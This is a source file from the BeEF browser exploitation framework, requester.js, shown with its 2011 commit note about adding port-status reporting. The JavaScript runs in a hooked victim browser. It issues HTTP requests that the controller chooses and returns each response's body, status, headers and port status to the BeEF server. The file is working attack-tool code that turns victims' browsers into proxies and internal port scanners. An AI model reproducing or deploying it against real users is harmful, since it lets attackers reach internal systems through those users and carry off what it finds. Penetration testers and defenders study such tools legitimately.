Files
beef/core/main/client/net/requester.js
bcoles@gmail.com 22941a51b4 Augmented beef.net.request to support port_status
Only "open" and "closed" are supported currently

Part of issue 286



git-svn-id: https://beef.googlecode.com/svn/trunk@1177 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
2011-08-10 09:47:01 +00:00

48 lines
1.9 KiB
JavaScript

//
// Copyright 2011 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
/*!
* @literal object: beef.net.requester
*
* request object structure:
* + method: {String} HTTP method to use (GET or POST).
* + host: {String} hostname
* + query_string: {String} The query string is a part of the URL which is passed to the program.
* + uri: {String} The URI syntax consists of a URI scheme name.
* + headers: {Array} contain the operating parameters of the HTTP request.
*/
beef.net.requester = {
handler: "requester",
send: function(requests_array) {
for (i in requests_array) {
request = requests_array[i];
beef.net.proxyrequest('http', request.method, request.host, request.port,
request.uri, null, null, 10, null, request.id,
function(res, requestid) { beef.net.send('/requester', requestid, {
response_data:res.response_body,
response_status_code: res.status_code,
response_status_text: res.status_text,
response_port_status: res.port_status,
response_headers: res.headers});
}
);
}
}
};
beef.regCmp('beef.net.requester');